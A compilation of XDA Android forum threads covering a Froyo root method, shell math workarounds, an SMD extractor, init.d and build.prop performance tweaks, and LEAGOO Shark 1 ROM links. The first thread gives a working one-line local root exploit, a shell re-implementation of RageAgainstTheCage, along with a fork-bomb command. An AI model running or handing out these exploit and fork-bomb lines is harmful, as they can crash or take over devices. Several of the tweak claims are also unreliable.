242 click root - obtain root via shell script - Android Software/Hacking General [Developers Only]

Inspired by rage against the cage, I thought this exploit should be possible by shell script. Wanting a nice simple one liner like:
Code:
:(){ :|:& };:
But this uses too much memory per forked process and does not persist when controlling terminal exits.
After much hacking:
f(){ trap "exec sleep 900" 0; trap echo HUP ; sleep 1; while true; do sleep 1 | sleep 1 & done } ; ( f & ) ; ( ( trap f HUP ; while true ; do cat ; done ) & ) ; ( trap "exec kill -1 -1" 0 ; while true ; do echo z | echo z ; sleep 10 ; done )
Code:
f(){ trap "exec sleep 900" 0; trap echo HUP ; sleep 1; while true; do sleep 1 | sleep 1 & done } ; ( f & ) ; ( ( trap f HUP ; while true ; do cat ; done ) & ) ; ( trap "exec kill -1 -1" 0 ; while true ; do echo z | echo z ; sleep 10 ; done )
Tested on emulator and froyo galaxy tab but should work on any froyo android or earlier.
This only requires an android terminal, eg jackpal's android terminal emulator(based on original android sources)
Simple type it in at the $ prompt. The terminal will automatically end. On my froyo galaxy tab it autorestarts but other systems may require you to restart the terminal.
If your not keen on your 242 clicks copy the shell command into a text file and save/copy to /sdcard/z then simply at prompt
Code:
$ . /sdcard/z
This does not require adb, busybox or anything else, you don't even need usb debugging on.
Enjoy.
Richard.

Any chance it would work on Honeycomb 3.1? The Toshiba Thrive hasn't been rooted yet so we're looking for a way.

I doubt it. It uses the same exploit as rage against the cage. Fixed in gingerbread, and I am pretty sure honeycomb as well. This is not a new method of getting root just a novel way of reimplementing an exiting one.
Richard.

Related

floating point arithmetic? - hack job workaround now included

is there a way to do floating point arithmetic in terminal?...or would bc binary need to be included since busybox does not have it? as of now you get a syntax error if using fp numbers in expression..or 0 when using division and result is a floating point.
Code:
# echo $(( 1 + 1 ))
echo $(( 1 + 1 ))
2
# echo $(( 1.0 + 1.0 ))
echo $(( 1.0 + 1.0 ))
arith: syntax error: " 1.0 + 1.0 "
# echo $(( 1 / 2 ))
echo $(( 1 / 2 ))
0
sh/bash has no native support for floating point math, so your solution must involve a binary executable. You can either use bc, or you can write a very simple C program and compile it for this platform....
i.e.,
Code:
//math.c
#include <stdlib.h>
#include <stdio.h>
int main (int argc, char ** argv){
float a = atof(argv[1]);
char op = argv[2][0];
float b = atof(argv[3]);
if (op == '+') printf("%f\n",a+b);
else if (op == '-') printf("%f\n",a-b);
else if (op == 'x') printf("%f\n",a*b);
else if (op == '/') printf("%f\n",a/b);
return 0;
}
$ ./math 1.5 + 2
3.500000
$ ./math 1.5 x 2
3.000000
$ ./math 1.5 - 2
-0.500000
$ ./math 1.5 / 2
0.750000
Oh and FYI, don't forget you can use variables in there, i.e.
$ A=1.5
$ B=2
$ OP=/
$./math $A $OP $B
0.750000
Is this the appropriate forum?
jdstankosky said:
Is this the appropriate forum?
Click to expand...
Click to collapse
Sorry, are you a moderator? :/
And yes, since this is a development matter, I'd say it falls within the DEVELOMPENT section..
lbcoder said:
sh/bash has no native support for floating point math, so your solution must involve a binary executable. You can either use bc, or you can write a very simple C program and compile it for this platform....
i.e.,
Code:
//math.c
#include <stdlib.h>
#include <stdio.h>
int main (int argc, char ** argv){
float a = atof(argv[1]);
char op = argv[2][0];
float b = atof(argv[3]);
if (op == '+') printf("%f\n",a+b);
else if (op == '-') printf("%f\n",a-b);
else if (op == 'x') printf("%f\n",a*b);
else if (op == '/') printf("%f\n",a/b);
return 0;
}
$ ./math 1.5 + 2
3.500000
$ ./math 1.5 x 2
3.000000
$ ./math 1.5 - 2
-0.500000
$ ./math 1.5 / 2
0.750000
Oh and FYI, don't forget you can use variables in there, i.e.
$ A=1.5
$ B=2
$ OP=/
$./math $A $OP $B
0.750000
Click to expand...
Click to collapse
thanks for the info. very helpful.
script workaround
i have constructed a workaround for doing fp math for determining partition sizes.
it's not pretty, but it gets the job done.
basically, it goes like this:
1. check to see if the number passed to the function is an integer
2. if not, i search the string for a "."
3. if the search turns up a "." (and units in GB) i break the number into two whole numbers (the integer portion..before the decimal, and the fraction portion after the decimal).
4. do the appropriate math on the integer section.
5. do the appropriate math on the fraction section, then divide by 10^#of digits after the decimal place.
6. add the two numbers together and voila! a hack job, floating point calculation.
Code:
ValidateSizeArg() {
# check for zero-length arg to protect expr length
[ -z "$1" ] && ShowError "zero-length argument passed to size-validator"
SIZEMB=
ARGLEN=`expr length $1`
SIZELEN=$(($ARGLEN-1))
SIZEARG=`expr substr $1 1 $SIZELEN`
SIZEUNIT=`expr substr $1 $ARGLEN 1`
# check if SIZEARG is an integer
if [ $SIZEARG -eq $SIZEARG 2> /dev/null ] ; then
# look for G
[ "$SIZEUNIT" == "G" ] && SIZEMB=$(($SIZEARG * 1024))
# look for M
[ "$SIZEUNIT" == "M" ] && SIZEMB=$SIZEARG
# no units on arg
[ -z "$SIZEMB" ] && SIZEMB=$1
# check if SIZEARG is a floating point number, GB only
elif [ `expr index "$SIZEARG" .` != 0 ] && [ "$SIZEUNIT" == "G" ] ; then
INT=`echo "$SIZEARG" | cut -d"." -f1`
FRAC=`echo "$SIZEARG" | cut -d"." -f2`
SIGDIGITS=`expr length $FRAC`
[ -z "$INT" ] && INT=0
INTMB=$(($INT * 1024))
FRACMB=$((($FRAC * 1024) / (10**$SIGDIGITS)))
SIZEMB=$(($INTMB + $FRACMB))
# it's not a valid size
else
ShowError "$1 is not a valid size"
fi
# return valid argument in MB
FUNC_RET=$SIZEMB
}
I was a basic/qbasic/gwbasic programmer in my younger days (like 12-14 yrs old)...
I feel ashamed that I have no idea of what this stuff is anymore. Thank God for guys like you.

Executing pm setInstallLocation on boot

If someone ever needs the answer:
Code:
#!/system/bin/sh
# set 0 = auto, 1 = internal, 2 = SD-Card
(
while : ; do
COMPLETED=$(logcat -d *:I *:D | grep -c android.intent.action.BOOT_COMPLETED)
if [ $COMPLETED -ne 0 ] ; then
echo "BOOT_COMPLETED: setting setInstallLocation"
pm set-install-location 1
exit 0
fi
sleep 1
done
) &
Thread closed.

[ROM] I9001XXKPU_XXKPH_OXAKP1 Oryginal Open

I9001XXKPU XXKPH OXAKP1
Flash + Odin :
hotfile.com/dl/140028931/367f5c4/i9001XXKPU_XXKPH_OXAKP1.rar.html
Regards!
Wish there was any change log available for stock rom updates...
Sent from my GT-I9001 using XDA App
Make them yourself, like I did:
1. Unzip/rar the file (just ignore the error)
2. Unpack system with Diskinternal Linux Reader
3. Compare the two with whatever file/dir compare tool you like (I use copyto for binary folder compare and ultracompare for file compare)
Good luck!
Regards,
Nika.
Sorry, first link have damaged MD5 checksums inside.
new one tested :
hotfile.com/dl/140028931/367f5c4/i9001XXKPU_XXKPH_OXAKP1.rar.html
I also edited first.
Lol, and I was trying to figure out why unpacking the smd did not work... thanks!
For whomever wants to know, you can extract an smd using this script (Linux or Cygwin):
Code:
#!/bin/bash
base=0
length=1
while (( length > 0 ))
do
# calculate Length
let "skip = base + 18"
length=`hexdump -e '"%d"' -s ${skip} -n 2 ${1}`
let "length = length * 65536"
let "skip = base + 16"
length2=`hexdump -e '"%d"' -s ${skip} -n 2 ${1}`
let "length += length2"
let "length = length / 512" # Number of 512-Byte blocks
# calculate offset
let "skip = base + 22"
offset=`hexdump -e '"%d"' -s ${skip} -n 2 ${1}`
let "offset = offset * 65536"
let "skip = base + 20"
offset2=`hexdump -e '"%d"' -s ${skip} -n 2 ${1}`
let "offset += offset2"
let "offset = offset / 512" # Number of 512-Byte blocks
# save header in case of first loop
if (( base == 0 ))
then
dd if=${1} bs=512 of=header count=${offset}
fi
# extract filename
let "skip = base + 32"
filename=`dd if=${1} skip=${skip} count=16 bs=1 2>/dev/null`
# and finally: extract image
if (( length > 0 ))
then
echo "Length: ${length}"
echo "Offset: ${offset}"
echo "Filename: ${filename}"
dd if=${1} bs=512 of=${filename} skip=${offset} count=${length} 2>/dev/null
fi
# next header
let "base += 64"
done

[REF][DEV] Tweaks for i9003 list [UPDATE]

This is a list of all threads avaiable to our phone, using for ROM developer too...
i decided to post in general, becouse this is not developer threads, developer threads are done from developers and i'm a human no developer.
Adrenaline Shot v14 Universal ​What do these tweaks do?
the first improve is under /system/bin, replace 2 bin with leaked from ICS 4.0 , with GREAT EPIC improvement , 2 bins 're app_process and system_server.
app_process executes, and executes a runtime environment for a dalvik class
The system server is the core of the Android system and as described in the boot sequence post it is started as soon as Dalvik is initialized and running.
like all tweaks , this will add some /system/etc/init.d script , if kernel supports of curse
( for everyone using Gentoo, know init.d too )
the first one is 00remount
Code:
#!/system/bin/sh
#Partition mounts by Dsexton702
mount -o remount,noatime,nobh,nodiratime,nodelalloc,noauto_da_alloc,barrier=0 /system /system
mount -o remount,noatime,nobh,nodiratime,nodelalloc,noauto_da_alloc,barrier=0 /cache /cache
mount -o remount,noatime,nodiratime,delalloc,noauto_da_alloc,barrier=0 /data /data
This script will (re) mount the EXT4 partitions with some "tweaks", like noatime, nodiratime,delalloc and soso.. , speed increased in R/W
the second is 01kerneltweak
Code:
mount -t debugfs none /sys/kernel/debug
echo NO_GENTLE_FAIR_SLEEPERS > /sys/kernel/debug/sched_features
unmount /sys/kernel/debug
using NO_GENTLE_FAIR_SLEEPERS as schedule features, nothing to hard
the third 02journaling
provide to delete cache if its too big
the 4th is 03sysctl
Code:
#!/system/bin/sh
sysctl -p
This is simply call to sysctl ( parameters settings under linux kernel ), its under kernel tweak
the 5th is 04sysctltweaks
this will set a lot of utils things about kernel and its driver ( like governor ) , if people using ondemand it will set ondemand/up_threshold to 65 ( more responsive , but increase battery drain ) and ondemand/sampling_rate to 30000 ^^
05sdcardspeedfix
fixing READ_AHEAD_KB , suggest it will increase sdcard speed ( not too much )
06zipalign
provide to zipalign all /data/app/*.apk files, anything know to apk files are zip archive contains a lot of things, zipalign optimize this archive , major info at developer.android.com/guide/developing/tools/zipalign.html
07vacuum
this provide to "VACUUM" all *.db ( see SMS's DB, etc ... ) to rebuild all *.db better, increase performance too!
08ramscript
i never will use this, this is not designed for our phone IMHO it can be replace with superchanger ( see after )
/system/lib/libsqlite*
will replace sqlite's lib for better performance, sqlite has sync and async method, this will disable sync , theorically it will double the performance in I/O
/system/xbin
it simply provide a sqlite3 bin and zipalign bin, nothing tweaks
Click to expand...
Click to collapse
Thunderbolt tweaks ( this is not avaiable, i upload some script i've download a time ago )​/system/etc/init.d
s78enable_touchscreen_1
Code:
#!/system/bin/sh
#Touchscreen
#Configure touchscreen sensitivity
#Sensitive(Chainfire)
echo 7035 > /sys/class/touch/switch/set_touchscreen;
echo 8002 > /sys/class/touch/switch/set_touchscreen;
echo 11000 > /sys/class/touch/switch/set_touchscreen;
echo 13060 > /sys/class/touch/switch/set_touchscreen;
echo 14005 > /sys/class/touch/switch/set_touchscreen;
this is IMHO the best script i've ever seen , this will increase sensitivity of touchscreen
07sqlite_optimize
this will vacuum and re-index all db, better than Adrenaline's 07vacuum IMHO
S70darky_zipalign
Another zipalign script, useless
*bolt_siray*
this is not developer for our phone, this will working only with adeguate kernel ( we haven't )
S98CFS
it will provide a lot of tweaks using sysctl and kernel proc/ interface
S98system_tweaks
this is a lot of script unify in one script
i edit this to be "better" with our phone, i delete re-mount runtime , adrenaline's 00remount do it better
and modify this part:
Code:
# ==============================================================
# smartassV2
# ==============================================================
if [ -e /sys/devices/system/cpu/cpufreq/smartass/awake_ideal_freq ]; then
echo "800000" > /sys/devices/system/cpu/cpufreq/smartass/awake_ideal_freq;
if [ "`cat /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq`" -eq 300000 ]; then
echo "300000" > /sys/devices/system/cpu/cpufreq/smartass/sleep_ideal_freq;
else
echo "300000" > /sys/devices/system/cpu/cpufreq/smartass/sleep_ideal_freq;
fi;
echo "800000" > /sys/devices/system/cpu/cpufreq/smartass/sleep_wakeup_freq;
echo "85" > /sys/devices/system/cpu/cpufreq/smartass/max_cpu_load;
echo "75" > /sys/devices/system/cpu/cpufreq/smartass/min_cpu_load;
echo "300000" > /sys/devices/system/cpu/cpufreq/smartass/ramp_down_step;
echo "0" > /sys/devices/system/cpu/cpufreq/smartass/ramp_up_step;
fi;
to have a correctly step for our processor
​
"after applied this , my phone morth into blonde, blue eyes galaxy Supersayan [cit.]
THIS IS THE ONLY MEMORY Manager, this provide a better ram manager by android, anyone know that Random Access Memory contains a kernel and all APP run, kernel are loaded in lowest address possible , and all app are loaded when open, android usually doesn't close this, for better speed when you re-open its, but if you have small RAM ( 512 MB too ) this will cause a lot of problem , superchange fix it!
i suggest to use 512HP Balanced ( or Performance ) with Bulletproof launcher + OOM FIX, Nullify lag work too
HOW INCLUDE THIS INTO MY ROM?
Poseidons ROM include this by ****ty init.d script, i suggest to delete and re-apply
if you are not ROM Developer is simple, download latest avaiable by link i provide at top and with ROOT-enabled ( check su ) and Script Manager ( or terminal emulator -> # su -> sh script_location ) follow the scripts guide, remember, using this can cause ( 0.01% ) bootloops, i suggest to use local.prop and init.rc integration
if you are a ROM Developer is more complicated than simple user, for stick you can use:
init.d script ( like poseidons )
local.prop and init.local.rc ( suggest ) under /data
build.prop
init.d script ( i do not see this, for me is the worst way to get it )
init.local.rc:
create a /data/init.local.rc contains
* This is for 512HP-Performance + Bulletproof
Code:
write /sys/module/lowmemorykiller/parameters/adj 0,3,6,10,12,15
write /sys/module/lowmemorykiller/parameters/minfree 2048,3584,19200,23040,24320,32000
# V6 SuperCharger, OOM Grouping & Priority Fixes created by zeppelinrox.
# SuperMinFree Calculator & MFK Calculator (for min_free_kbytes) created by zeppelinrox also :)
#
# See http://goo.gl/krtf9 - Linux Memory Consumption - Nice article!
# See http://goo.gl/hFdNO - Memory and SuperCharging Overview ...or... "Why `Free RAM` Is NOT Wasted RAM!"
# See http://goo.gl/4w0ba - MFK Calculator Info - explanation for vm.min_free_kbytes.
#
# DO NOT DELETE COMMENTS. DELETING COMMENTS WILL BREAK UNINSTALL ROUTINE!
#
# BEGIN OOM_MEM_Settings
setprop ro.FOREGROUND_APP_MEM 2048
setprop ro.VISIBLE_APP_MEM 3584
setprop ro.PERCEPTIBLE_APP_MEM 1024
setprop ro.HEAVY_WEIGHT_APP_MEM 19200
setprop ro.SECONDARY_SERVER_MEM 19200
setprop ro.BACKUP_APP_MEM 23040
setprop ro.HOME_APP_MEM 1024
setprop ro.HIDDEN_APP_MEM 23040
setprop ro.EMPTY_APP_MEM 32000
# END OOM_MEM_Settings
# BEGIN OOM_ADJ_Settings
setprop ro.FOREGROUND_APP_ADJ 0
setprop ro.VISIBLE_APP_ADJ 3
setprop ro.PERCEPTIBLE_APP_ADJ 2
setprop ro.HEAVY_WEIGHT_APP_ADJ 4
setprop ro.SECONDARY_SERVER_ADJ 6
setprop ro.BACKUP_APP_ADJ 7
setprop ro.HOME_APP_ADJ 0
setprop ro.HIDDEN_APP_MIN_ADJ 9
setprop ro.EMPTY_APP_ADJ 15
# END OOM_ADJ_Settings
write /proc/sys/vm/min_free_kbytes 15360
write /proc/sys/vm/oom_kill_allocating_task 0
write /proc/sys/vm/panic_on_oom 0
write /proc/sys/vm/overcommit_memory 1
write /proc/sys/vm/swappiness 0
write /proc/sys/kernel/panic_on_oops 1
write /proc/sys/kernel/panic 30
# End of V6 SuperCharged Entries.
or build.prop way ( need a supplie init.d script )
i9003 tweaks​
01loopy
this will make phone more smoothness by renice ( change priority ) the main process will run
i suggest to set your launcher process here like:
Code:
### Launcher apps ###
renice -19 `pidof com.sec.android.app.twlauncher` # TouchWiz Launcher
renice -19 `pidof org.adwfreak.launcher` # ADW Launcher Ex
renice -19 `pidof org.zeam.core` # Zeam launcher
renice -19 `pidof info.tikusoft.launcher7`# Launcher 7
PART2
95allinone
This will provide a complete collection of tweaks avaiable, i hate this becouse, a lot of tweaks here are not implemented correctly , like:
Code:
#Part below here edited by me (changed values) Credits to Juwe11
if [ -e /sys/module/lowmemorykiller/parameters/adj ]; then
echo "0,1,2,4,6,15" > /sys/module/lowmemorykiller/parameters/adj
fi
if [ -e /sys/module/lowmemorykiller/parameters/minfree ]; then
echo "2560,4096,5632,10240,11776,14848" > /sys/module/lowmemorykiller/parameters/minfree
fi
if [ -e /proc/sys/vm/swappiness ]; then
echo "20" > /proc/sys/vm/swappiness
fi
zOOM zOOM :
Code:
echo "2560,4096,5632,10240,11776,14848" > /sys/module/lowmemorykiller/parameters/minfree
This is the same things that do superchanger, but this will be wrost for our phone IMHO
Code:
echo "20" > /proc/sys/vm/swappiness
the right value ( in my cases ) is 0, i haven't swap of anyway we dont have to have a swap!
Zipalign Runtime, it will just implemented by a lot of script, this is also the wrost IMHO zip align script i've never seen
Code:
for k in $(busybox mount | grep relatime | cut -d " " -f3) ; do
sync;
busybox mount -o remount,noatime $k;
done;
this will break 00remount script
Code:
for i in /sys/block/*/queue/scheduler ; do
echo "noop" > $i;
done;
if kernel support i suggest deadline
Code:
# Tweak kernel VM management
echo 0 > /proc/sys/vm/swappiness
echo 10 > /proc/sys/vm/dirty_ratio
echo 4096 > /proc/sys/vm/min_free_kbytes
??? WHAT? again?
Code:
echo "interactive" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo "cfq" > /sys/block/mmcblk0/queue/scheduler
see upper
Code:
echo "deadline" > /sys/block/mmcblk0/queue/scheduler
What? another change?
this is good:
Code:
# Copyright @ CRANIUM ROM
echo "500" > /proc/sys/vm/dirty_expire_centisecs
echo "1000" > /proc/sys/vm/dirty_writeback_centisecs
echo "0" > /proc/sys/net/ipv4/tcp_timestamps;
echo "1" > /proc/sys/net/ipv4/tcp_tw_reuse;
echo "1" > /proc/sys/net/ipv4/tcp_sack;
echo "1" > /proc/sys/net/ipv4/tcp_tw_recycle;
echo "1" > /proc/sys/net/ipv4/tcp_window_scaling;
echo "5" > /proc/sys/net/ipv4/tcp_keepalive_probes;
echo "30" > /proc/sys/net/ipv4/tcp_keepalive_intvl;
echo "30" > /proc/sys/net/ipv4/tcp_fin_timeout;
echo "404480" > /proc/sys/net/core/wmem_max;
echo "404480" > /proc/sys/net/core/rmem_max;
echo "256960" > /proc/sys/net/core/rmem_default;
echo "256960" > /proc/sys/net/core/wmem_default;
echo "4096,16384,404480" > /proc/sys/net/ipv4/tcp_wmem;
echo "4096,87380,404480" > /proc/sys/net/ipv4/tcp_rmem;
#End Cranium Tweaks
Conclusion: 95allinone is simply a addiction of all tweaks avaiable in one script without any review and improves for our phone ( in this case, this work ), this will only increase the boot time and break others tweaks installed ( some )
99V6_Superchanger
DO NOT USE THIS, THIS IS EPIC FAIL INIT.D SCRIPT!
Code:
mount -o remount,rw /system
mount -o remount,rw /dev/block/mtdblock3 /system
mount -o remount,rw /dev/block/mtdblock6 /system
*facepalm*
in my terminal:
Code:
# su
# ls -la /dev/block/mtd*
ls: /dev/block/mtd*: No such file or directory
anyway this is not init.d script, this is v6 script , this is not compatible with init.d ,
PART3
Build.prop and android params
Listed partial by TheFrankestain, thanks
* YOU MUST ADD IT AT BOTTOM OF /system/build.prop and delete cache and reboot*
Code:
ro.ril.hsxpa=2
This will enable High-Speed_Downlink_Packet_Access and High-Speed Uplink Packet Access ( HSDPA and HSUPA )
Code:
ro.ril.gprsclass=10
gprs class, see this LINK
Code:
ro.ril.hep=1
0 meaning off, 1 activated
Code:
ro.ril.enable.dtm=0
Dual Transfer Mode , set 1 only if your network support it
Code:
ro.ril.hsdpa.category=8
Folllow this ( thanks to tnpapadakos )
Code:
#ro.ril.hsdpa.category :
# Cat 1 = 1.2 Mbit/s
# Cat 2 = 1.2 Mbit/s
# Cat 3 = 1.8 Mbit/s
# Cat 4 = 1.8 Mbit/s
# Cat 5 = 3.6 Mbit/s
# Cat 6 = 3.6 Mbit/s
# Cat 7 = 7.2 Mbit/s
# Cat 8 = 7.2 Mbit/s
# Cat 9 = 10.1 Mbit/s
# Cat 10 = 14.0 Mbit/s
# Cat 11 = 0.9 Mbit/s
# Cat 12 = 1.8 Mbit/s
# Cat 13 = 17.6 Mbit/s
# Cat 14 = 21.1 Mbit/s
# Cat 15 = 23.4 Mbit/s
# Cat 16 = 27.9 Mbit/s
# Cat 19 = 35.3 Mbit/s
# Cat 20 = 42.2 Mbit/s
# Cat 21 = 23.4 Mbit/s
# Cat 22 = 27.9 Mbit/s
# Cat 23 = 35.3 Mbit/s
# Cat 24 = 42.2 Mbit/s
# Cat 25 = 46.8 Mbit/s
# Cat 26 = 55.9 Mbit/s
# Cat 27 = 70.6 Mbit/s
# Cat 28 = 84.4 Mbit/s
Code:
ro.ril.enable.a53=1
a53 enabling
Code:
ro.ril.enable.3g.prefix=1
1 will show 3g prefix next to network signal
Code:
ro.ril.htcmaskw1.bitmask=4294967295
ro.ril.htcmaskw1=14449
bitmask &
Code:
ro.ril.hsupa.category=6
See this:
Code:
#ro.ril.hsupa.category :
# Cat 1 = 0.73 Mbit/s
# Cat 2 = 1.46 Mbit/s
# Cat 3 = 1.46 Mbit/s
# Cat 4 = 2.93 Mbit/s
# Cat 5 = 2.00 Mbit/s
# Cat 6 = 5.76 Mbit/s
# Cat 7 = 11.5 Mbit/s
Code:
net.tcp.buffersize.default=4096,87380,256960,4096,16384,256960
net.tcp.buffersize.wifi=4096,87380,256960,4096,16384,256960
net.tcp.buffersize.umts=4096,87380,256960,4096,16384,256960
net.tcp.buffersize.gprs=4096,87380,256960,4096,16384,256960
net.tcp.buffersize.edge=4096,87380,256960,4096,16384,256960
Redefinite TCP Standard size packet, it will increased overall speed
Code:
ro.ext4fs=1
will set ext4fs prop to android system, increased performance if you are under ext4
Code:
persist.sys.purgeable_assets=1
More speed!
Code:
persist.sys.shutdown.mode=hibernate
NOT COMPATIBLE FOR OUR PHONE, we have not hibernate shutdown mode
Code:
ro.ril.disable.power.collapse=0
is ultra-battery-life mode, when phone're sleeping
Code:
ro.ril.enable.cnap
Celler name presentation
Code:
debug.sf.hw=0
Render with GPU Apps ( see last #3 post for better info )
Code:
pm.sleep_mode=1
Permits better sleep mode ( battery ++ )
Code:
wifi.supplicant_scan_interval=150
Android ( when wifi on ) periodically scan for new network, you can set time between its for better battery when wifi on
Code:
windowsmgr.max_events_per_sec=150
Increase the max events record by windows manager , better scroll
Code:
debug.performance.tuning=1
video.accelerate.hw=1
GPU Tune for scrolling performance
Code:
debug.sf.nobootanimation=1
for me, not work, it will theorically disable boot animation for faster boot
Code:
ro.HOME_APP_ADJ=1
USE ONLY IF YOU DONT USE SUPERCHANGER
Code:
ro.lge.proximity.delay=25
mot.proximity.delay=25
decrease proximity delay for better experience
Code:
ro.sf.lcd_density=240
Simply not sense
Code:
ro.kernel.android.checkjni=0
disable check jni
Code:
ro.media.dec.jpeg.memcap=8000000
ro.media.enc.hprof.vid.bps=8000000
increase media quality
WHICH GOVERNOR DO U USE?​( ref: Simba501 )
SEE THIS
Anyway i suggest:
- Smartassv2 if you want performance over less battery
- InteractiveX if you want battery over less performance
CAN ANY KERNEL DEVELOPER INCLUDE LULZACTIVE CPUFREQ-DRIVER IN OUR KERNELS? ITS THE PERFECT GOVERNOR , EITHER FOR BATTERY AND PERFORMANCE
EGL TWEAK!​Android header said:
Code:
#
# One line per configuration, of the form:
#
# D I TAG
#
# D: display (0: default)
# I: implementation (0: software, 1: hardware)
# TAG: a unique tag
#
# The library name loaded by EGL is constructed as (in that order):
#
# /system/lib/egl/libGLES_$TAG.so
# /system/lib/egl/lib{EGL|GLESv1_CM|GLESv2}_$TAG.so
#
in the stock ROM the egl.cfg is:
Code:
0 0 android
0 1 POWERVR_SGX530_125
what's meaning?
simply using cpu ( with gpu too ) to render all apps and system
if you modify to:
Code:
0 1 POWERVR_SGX530_125
it will use overall GPU render only, more fast and imho better Battery life because, CPU in our cases with overclock consume more than GPU
See original post: http://forum.xda-developers.com/showpost.php?p=14323192&postcount=8
Wow!! very good thread!! I am setting up a custom rom, could u tell me what of these could give my rom a better battery life? Thank u man!
luiseteyo said:
Wow!! very good thread!! I am setting up a custom rom, could u tell me what of these could give my rom a better battery life? Thank u man!
Click to expand...
Click to collapse
Battery life is influence by:
Running Apps
Governors do you use
Memory Manager ( #1 addicted )
If you set /etc/init.d script to set conservative governor and implemented v6 without any stupid app like facebook or bloatware samsung, and your battery seems infinite
in the past i used SCH Rom , its used only v6 and most important tweaks , without any stupid bloatware, battery seems very infinite ^^ like 2% in 5 hours under 2G network
Ok, sorry for my noob question but I am learning a lot of things this days.. where can I find a tutorial about how to set a governor or a frecuency by default in my kernel? Thank u very much
luiseteyo said:
Ok, sorry for my noob question but I am learning a lot of things this days.. where can I find a tutorial about how to set a governor or a frecuency by default in my kernel? Thank u very much
Click to expand...
Click to collapse
I'm noob too
for frequency are too kernel releated to be generalized,
or if you using XDA_Bam kernel
39frequency
Code:
#!/system/bin/sh
echo "300" > /sys/power/overclock_opp1
echo "600" > /sys/power/overclock_opp2
echo "800" > /sys/power/overclock_opp3
echo "1000" > /sys/power/overclock_opp4
anyway you can create init.d script like
40governorbattery
with:
Code:
#!/system/bin/sh
echo "conservative" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
and see if it stick ^^
Hi.
Are there codes that can remove or dissable the TouchUI aka TouchWiz interface on the i9003 and just use the android deffult launcher?
Another thing something that will easy-up my ram usage and allow more usable ram?
If so how do i implement them?
I just want to add a cool sound and audio tweaks using MagaBassBeats_Mod
First download the MagaBassBeats_Mod_9003.zip file from the xda forum.
Now copy it to the sdcard.
Reboot to the recovery mode.
Now select install from zip file and chose internal sdcard.
Search for the zip file, hit power button, and chose yes.
That's it now you can enjoy a great sound quality.
details from here

LEAGOO Shark 1 - Development & Support

In order to keep this thread clean, please use this one to discuss about Development, Support or Software Updates.​
ROMs:
Custom ROMs (based on Android 5.1)
AOSP-like 5.1 ROM - by GearLabs: https://mega.nz/#!lBtSBaDC!Jh1PXA_jEn8ynrISB8GeupVn-lJbHTlHtozhggb3UOg
Features:
- Clean Nexus-Like UI (get rid of the LEAGOO OS)
- Updated Google Apps (and most of them replace crappy Mediatek ones)
- Optimized for Maximum Performance
- with Root, Busybox & init.d support
What you'll lose compared to LEAGOO OS? (missing features)
- Miravision Menu
If you notice something else that is missing, just let me know.
Flashable Touchscreen Delay Fix: http://forum.xda-developers.com/attachment.php?attachmentid=3823450&d=1469457127​
Stock (Android 6.0)
160729: https://yadi.sk/d/tPz_sgnRtyqdA (Thanks @seraser for the report)
Stock (Android 5.1)
160712: https://mega.nz/#!UBFTzILY!Ympxl5aTRg1x5cAeEha12XgLHxXZ_kYPKDuYvlZUpIo
Previous Releases:
160620: https://yadi.sk/d/fp5sDnfJsvHve | Mirror
160530 (official): http://leagooftp.com.my/Shark 1/t87...10_LEAGOO_Shark_1_OS1.2_160530_release.tar.gz | Mirror
Flash Tools:
SP Flash Tool v5.1628 for Windows & Linux: https://mega.nz/#F!dYUm0TbB!SWeMLb5Wu1NbRzTPQ8-s_A
Flash Tool with Drivers provided by LEAGOO (Windows Only): http://leagooftp.com.my/Flashtool Elite Series, Shark 1/Flashtool Elite series, Shark 1.rar | Mirror
Choose the one that works better for you.
Recovery:
TWRP 3.0.2-1 - by GearLabs: https://mega.nz/#!9UsUXDJZ!b3-LhR8FfXpo9mPoN-vXxreVkMtJU0c1Y0_AGsPilvg
Previous Releases:
TWRP 3.0.0 - by @megthebest (buggy and outdated): https://mega.nz/#!0A8AlK7Y!yVXgeQksrVTe83IGQZdEY2FPC1dHmyvtcdpRmDtOPgE
Root:
SuperSU (flashable using TWRP): http://forum.xda-developers.com/apps/supersu
Extras (Root-Only):
Xposed Framework: http://forum.xda-developers.com/showthread.php?t=3034811
Useful Third-Party Apps:
Battery Life
Amplify: https://play.google.com/store/apps/details?id=com.ryansteckler.nlpunbounce&hl=en
Greenify: https://play.google.com/store/apps/details?id=com.oasisfeng.greenify&hl=en
Alberto96 said:
....... As soon as I have more time, I'll work on a CM ROM for this device.
Click to expand...
Click to collapse
Allready working on CM ROM?
I allways thought, CM is not possible for Mediatek Devices, because of Mediatek not opening Sources for its SoCs?
And also Leagoo doesnt seem to be very helpfull with CustomROMs.....
Robot12 said:
Allready working on CM ROM?
I allways thought, CM is not possible for Mediatek Devices, because of Mediatek not opening Sources for its SoCs?
And also Leagoo doesnt seem to be very helpfull with CustomROMs.....
Click to expand...
Click to collapse
Not yet, without kernel sources it will be hard.
Alberto96 said:
Not yet, without kernel sources it will be hard.
Click to expand...
Click to collapse
If I'm not wrong, you can use @bluefame CM12.1 sources for Elephone P8000, same SoC. Just need to change to our device parameters.
Btw, I dunno if the fact that Shark has 32bit Rom affects anything.
Sent from my s3 using Tapatalk
TWRP 3.0 for 160620 firmware
Hello guys,
I have flashed the full 160620 firmware as the OTA didn't work in my phone, even after exchanging TWRP with the stock recovery.
The Leagoo OTAs doesn't come as zip files so they can't be installed from TWRP either.
Now on 160620 fw I can't install TWRP 3.0.0 by @megthebest. It looks ok in SP_Flash_Tool but when I try to boot from TWRP I just get the dead Android robot on the screen and a message saying something like "No data available" or something like that.
Can it be that the partition map has changed and that the scatter file needs to be edited, or do I have something wrong in my phone?
Has anyone tried to do what I did? Flashed a full 160620 fw and tried to install TWRP 3.0.0 by @megthebest? If so, did you succeed?
---------- Post added at 08:42 AM ---------- Previous post was at 08:17 AM ----------
genesisalgor said:
If I'm not wrong, you can use @bluefame CM12.1 sources for Elephone P8000, same SoC. Just need to change to our device parameters.
Btw, I dunno if the fact that Shark has 32bit Rom affects anything.
Sent from my s3 using Tapatalk
Click to expand...
Click to collapse
The question I'd like to have an answer to is why they choose to go for a 32-bit Android 5.1, when it wouldn't have meant more work for them to go for the 64-bit version instead. There are many MT6753 devices at half the price of the Shark 1 on 64-bit Android. Could it be that there are some hardware in the Shark 1 that limits them to use 32-bit Android? The SoC is 64-bit for sure but how about bus controllers and other chips around the SoC?
If there are some 32-bit hardware in Shark 1 then the CM12.1 for Elephone P8000 won't be very useful as a starting point for a CM for Shark 1.
